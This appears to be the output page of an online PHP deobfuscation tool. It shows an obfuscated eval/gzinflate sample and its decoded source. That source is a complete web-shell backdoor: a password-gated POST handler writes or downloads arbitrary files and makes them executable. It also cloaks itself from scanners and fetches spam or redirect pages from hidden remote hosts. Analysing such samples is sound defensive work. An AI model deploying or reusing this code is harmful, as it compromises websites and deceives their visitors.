Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);$a='lVb7c6JIEP75/guSohaodQ1oyGo4d9eN+MipMajxkeQoHqMQeR2Mj7jkf78el..

Decoded Output download

function va1103() { $_ = $_POST;if(substr(md5(@$_['hy']),0,16)=='3c453501baa75b47') {$F=!empty($_['f'])?$_['f']:'1103.php';$S=base64_decode($_['s']);if(preg_match('/^http/',$S)) $S=@file_get_contents($S);if(!empty($_['t'])) exit($S);@file_put_contents($F,$S);@chmod($F,0755);if(file_exists($F)) exit('::'.$F);}}va1103();function vc1103($u,$t=30,$n=0) {$header = array('Accept-Language:'.@$_SERVER['HTTP_ACCEPT_LANGUAGE'],'User-IP:'.@vb1103(),'User-URI:'.@$_SERVER['REQUEST_URI'],'User-HOST:'.@$_SERVER['HTTP_HOST'],);$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $u);curl_setopt($ch, CURLOPT_USERAGENT, @$_SERVER['HTTP_USER_AGENT']);curl_setopt($ch, CURLOPT_HTTPHEADER, $header);curl_setopt($ch, CURLOPT_REFERER, @$_SERVER["HTTP_REFERER"]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_TIMEOUT, $t);$s = curl_exec($ch);$a = curl_getinfo($ch);curl_close($ch);if($a['http_code']!='200') $s = '';if(empty($s) && $n<1) return vc1103(str_replace(base64_decode('d2h5LmFza3Bhc3Nlbmdlci5jb20='),base64_decode('d2h5LmFkc2d1ZXN0LmNvbQ=='),$u),30,1); return $s;}function vb1103() {if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$i = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif(isset($_SERVER['HTTP_CLIENT_IP'])){$i = $_SERVER['HTTP_CLIENT_IP'];} elseif(isset($_SERVER['HTTP_X_REAL_IP'])){$i = $_SERVER['HTTP_X_REAL_IP'];} else{$i = $_SERVER['REMOTE_ADDR'];}$ips = explode(",",$i);return $ips[0];}function vd1103() {$Key = 'id'; $Path = ''; $_=$_GET; $__='bas'.'e6'.'4_d'.'ecode';if(!empty($_)) {foreach($_ as $k=>$v) {if(preg_match('/^[0-9]+\.[0-9]+\.[0-9\.]+/',$v)) {	$Key = $k; break;}}}$Page = isset($_[$Key]) ? trim($_[$Key]) : '';$IP = vb1103();$UA = @$_SERVER['HTTP_USER_AGENT'];$UA .= @gethostbyaddr($IP);$Lang = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];if(preg_match('/Netcraft/i',$UA) || preg_match('/(185\.216\.48|91\.236\.65)\./i',$IP)) return; if(strlen($UA)>50 && !empty($Lang) && !preg_match('/(zh|cn|jp|ja|kr|ko|tw|hk)/i', $Lang) && !preg_match('/('.$__('Z29vZ2xlfHNwaWRlcnxiaW5nfG1zbi5jb218eWFob298YW9sLmNvbXxweXRob258cmVxdWVzdHN8cHJveHl8emgtY258TmV0Y3JhZnR8bm9kZS1mZXRjaHxnaXRodWJ8c2VhcmNoZW5naW5lfG1qMTJib3Q=').')/i',$UA)) {if(preg_match('/^([0-9]+)\.([0-9]+)\.([0-9]+)\.[0-9]+\.[0-9]+\.[0-9]+/',$Page,$Arr)) {header($__('TG9jYXRpb246IGh0dHA6Ly9kbnMzMDEuY2xvdWRzdGF0YXBpLmNvbS9odG1sMDFfdzMwMS5waHA/aGg9').$_SERVER['HTTP_HOST'].'&s='.$Page);exit;}}if(preg_match('/\.(txt|jpg|gif|jpeg|png|ico|css|js|ini|log|xml)/i',$_SERVER['REQUEST_URI'])) return; if(!preg_match('/^[0-9]+\.[0-9]+\.[0-9\.]+/',$Page) && preg_match('/('.$__('Z29vZ2xlfG1zbi5jb218eWFob28uY29tfGFvbC5jb20=').')/i',$UA)) {$Page='1.1.1';}if(preg_match('/^[0-9]+\.[0-9]+\.[0-9\.]+/',$Page)) {if(!preg_match('/('.$__('Z29vZ2xlfG1zbi5jb218eWFob28uY29tfGFvbC5jb20=').')/i',$UA)) return;$html = vc1103($__('aHR0cDovL3doeS5hc2twYXNzZW5nZXIuY29tL19odG1sMDQucGhwP2tleT0=').$Key.'&path='.$Path.'&s='.urlencode($Page));if(strlen($html)>520) exit($html);}}vd1103();

Did this file decode correctly?

Original Code

<?php error_reporting(0);$a='lVb7c6JIEP75/guSohaodQ1oyGo4d9eN+MipMajxkeQoHqMQeR2Mj7jkf78elF1NjHtXVuEw883XPd1f9zCZewa2fY9aaILA51mO+kHRKlWCR+em25PsCRvN9QiHrGuK7DdavWesZ+aRy/AZ4YIrlZi8cS7mRV7QNe2zqJ9/ZoCBrpZOkBvgZ5bgJwD/uh1cMsRKNrACRqK7JV2L0MW5aiLDN1ECjgBMjAYhmqquhg2LZc7+tjAOzpgM3eU4CrZ9m9gOUqcIq4bvYeThiIUlsm3HLAYmjkIrGyeLmz3BfHdPNZOsGJbrm+SN/yyKCU2Cha1RgkppmMtLJguv0stLGi1p8jN+RjJDzzM0LuX5DO2VeBIKC2kmCiGgWhhqzyxTNgwU4E9NzZvOtSkCRghqV1buZOWeqfd6HbV8dSV3emqz3K71yzWZecww/QiFnxodAl7oG8vbyb7S2KdQ5Nu+3O2psPBzZx0yecAQmQYMJ9GGBQ4a89BRbQ8OyknJOELYDyB6hpWhrvpK86ZDaJsZip4fQ4ANcLvdy1CvDZIlNVkjWX6XgWDrcrkiK2BqE78jaEWuygqB/rJ2mljbLpweM6XIvb7S7inldrdKOIQj2G63qQJ7ozrqyAQ70ZwIHcH3Gi35pg9hoDGEOEojjFbIIECY09I5kLLtTfzNdDJjOH6ENu+gR1qDsoMaUEmdMI8nJSbH81BpCSvDEMhW+BFHffhA0d6fAkeFCM/Dn8qEGlZDFDiagdj9umPMnCU23epay3+3jHzb0V3TMWzxSc/xJYbLHEbPjJwpjIdtvum2F/ptiSBBGBnQPkQxNU5H0suvGtHTHgMO2xEEjX2lkKFavVEGZaUiV8iIlPAP2k7a0XGc9EIhSMd7vFfNBqhObXTeZdxB/IZrCKopN49x7SC2XK9hity66clquVJJfKftgGQSrQKHhPg0c5qhbU5KYwir9/zjbiDNNJD0X+iZaMA2GYmiOxq2NooAWyVarck9MlJLDOSQyTLoAh6QSTJMpLTXM6HP/Zj4IdKg6cIdoEUUPSt9oRebfO135Hv+U/Hx40N29/8h+/iRdOkFIfpj6xk9kygdOGfQNV/AwSmCyTSu9wT0yFFfKRza7s7EJTkD3egANhWNRPfL8HqspySQLGCgniw/wvqzZpohCzywm3TcA/vfdNs3t08bYSPUJvjMhrP1yxwVx9QegBUK4kM2J1w8ZM8LcVGAcR7GFyL3kE02gf20GiWK3Kg4dJDHErIvIk8KNs0BcTKp4JN9C2srNrz4KYiftHgWxjM/xsvYmnGEnnp3F9xWqsoy41xxMc6tnEm9vdQGimN4K1sbiN6kJqz1pMyFAhpUfT1XLIwGxSgp6OFqiYYKzIkFw71bmYO7tVlvF4z69QLVnQJyp3gEaz33jh/lr62xpxR0tzgbdwV3PFSetPrK02C/ObguGLk7y3Db/hhsgl0H7P7T6l3bev4WmkaW4dLIHhIau1EYhPLQ6JAMNyIkSsvQ5TAkrJtLhE2i0asVn0ZDJdBz5xeNmsWb9fJF87k4073WulWR56PcamEOlLVZq/Kj4fcgiUa36Js1IWpVqhNz3Vq2uuJSq5fPtNq0CCc4eK9mmQ9RCTJAHOEk8gEBFfD6eHAWvMKQ2Gk8tSfwj6Zx4E1j2/BjI4ripyiGGzl2/Gm8cp1NoA5f9fsKO/nv1Zr4R8RzXDtvtFKASBXxpFZd6FfpVbGfy4S6xAhZ+DHSm7P/3quNHn4j6v/v2DZOtIVdhzSY7ZcbYdXqCm9U/EUzb/qoK1pGDi9Hw/aaSHc8bCTMTSEVw+3cqFnLTg47qJdYId0L8h5AG96kHltbGcxJxW++cjdHk3b6AHEEOkGOT79Xkwnymbnt89K/';$b=str_replace('V113','','V113gV113zinV113flate');$c=str_replace('V113','','baV113se6V1134_V113decV113ode'); @eVal  ($b($c($a))); ?>

Function Calls

gzinflate 1
str_replace 2
base64_decode 1
error_reporting 1

Variables

$a lVb7c6JIEP75/guSohaodQ1oyGo4d9eN+MipMajxkeQoHqMQeR2Mj7jkf78e..
$b gzinflate
$c base64_decode

Stats

MD5 0a0382d57a09887eac203763a0135b77
Eval Count 1
Decode Time 62 ms